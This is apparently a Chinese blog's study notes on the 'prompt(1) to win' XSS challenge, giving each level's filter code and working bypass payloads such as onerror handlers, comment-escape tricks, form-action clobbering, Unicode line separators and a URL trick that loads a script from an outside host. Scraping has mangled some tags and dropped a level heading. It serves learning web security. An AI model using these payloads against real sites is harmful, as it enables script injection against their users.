prompt(1) to win -----XSS学习笔记

一直不是很懂XSS,所以这里专门来学习一下下!记录做题的过程嗯。规则是当想办法嵌入prompt(1) 就算胜利了

第0关

什么过滤都没有,payload如下

"><script>prompt(1)script><"

prompt(1) to win -----XSS学习笔记_第1张图片

第1关—<> 过滤

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '
' + input + '
'
; }

发现是过滤了<内容>这个组合,通过实验发现可以用//注释绕过,相当于过滤了>,这里采用了payload

    <article><body/onload=prompt(1)//article>

prompt(1) to win -----XSS学习笔记_第2张图片

这样也是可以的

<img src=1 onerror=prompt(1)//

第2关— (= 过滤

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}        

很容易看出来,是过滤了(和=,但是怎么过滤很困惑,想过会不会是什么编码解析绕过它,但是没成功。参考了大牛的答案后恍然大悟,原来存在这么神器的标签
使用SVG标签,会提前将将XML实体解析再加入标签!然后我们只需要构造

prompt(1) to win -----XSS学习笔记_第3张图片

或者利用了

调用了js中的eval函数,巧妙死了!

第3关—替换

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '';
}        

首先是input在注释符之间,但是输入的input又过滤了->
这个是我无意间试出来的,我一开始想看能不能利用替换构造语句,无意间发现,虽然--> 被过滤了,但是我们可以用--!>替代!

prompt(1) to win -----XSS学习笔记_第4张图片

第4关—同源的正则过滤

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}    

这个题目真是神叨叨的,搞了半天也不知道为啥不行???最后没办法查找资料发现利用的url中的黑魔法:
浏览器支持这样的url:http://user:[email protected]。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%[email protected]
不过我就是不明白为啥要域名越短越好???最后也没弄明白个所以然,利用服务器构造,然后我们构造代码出来(本步骤需要有服务器)

<script src="http://prompt.ml%[email protected]/test.html">script>

发现访问跳转是可以成功的

第5关— input_value限制

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '' + input + '" type="text">';
}        

看一下代码,发现是过滤了>onxxxx=focus,所以在这里无法使用autofocus了。但是这里可以将input标签的type类型覆盖了,比如说将之覆盖成image类型,然后可以利用οnerrοr=,使用换行绕过即可,payload如下

"type=image src onerror
="prompt(1)

prompt(1) to win -----XSS学习笔记_第5张图片

看了牛逼人士的题解,还有别的思路,比如说IE下可以使用

(1)
"onresize
="prompt(1)
(2)
" oninput
=prompt(1) "

学习一手

第6关—表单提交action过滤

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}        

通过代码和注释可以看出来,题目构造post表单,我们需要输入的格式为utl#post的表单内容,比如www.baiducom#{"nothing":"hello"},具体过程是先提取url构造form表单,url赋值给form标签中的action,然后post内容加成input标签。
我们想嵌入代码,经常能见到类似action=”javascript:alert(1)”的内容,但是后面还过滤了document.form[0].action内容,过滤了script和data,猛一看就像js和vbs

prompt(1) to win -----XSS学习笔记_第6张图片

但是过滤存在缺陷
由于存在子级tag, action 将会优先指向name为action的子tag.
我们实验下,首先构造代码

<form action="javascript:prompt(1)" method="post">input>form>
<script>
    alert(document.forms[0].action);      
script>  

弹出

prompt(1) to win -----XSS学习笔记_第7张图片

如果我们加上一个input标签

<form action="javascript:prompt(1)" method="post"><input name="action" value=1>input>form>
<script>
    alert(document.forms[0].action);      
script>  

prompt(1) to win -----XSS学习笔记_第8张图片

返回内容就被覆盖了,所以我们在这里可以构造提交的表单中有action选项,payload如下
prompt(1) to win -----XSS学习笔记_第9张图片

第7关—连续输出长度限制

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '

" title="' + title.slice(0, 12) + '">

'
; }).join('\n'); }

思路还是不够开阔…可以利用 '; }

本题目过滤了各种换行符和”和/,但是我们想要使代码执行,必须逃脱出双引号或者本行,那么逃逸利用了unicode

    U+2028,是Unicode中的行分隔符
    U+2029,是Unicode中的段落分隔符。

很多人说原来的payload没用,我来告诉大家如何生成payload
首先用chrome F12打开开发者选项,然后利用console模块,输入

'\u2028prompt(1)\u2028-->'

得到一个东西,将之复制下来就是payload!

这里写图片描述

prompt(1) to win -----XSS学习笔记_第11张图片

第9关—

function escape(input) {
    // filter potential start-tags
    input = input.replace(/<([a-zA-Z])/g, '<_$1');
    // use all-caps for heading
    input = input.toUpperCase();

    // sample input: you shall not pass! => YOU SHALL NOT PASS!
    return '

' + input + '

'
; }

[未完待续]

你可能感兴趣的:(Web)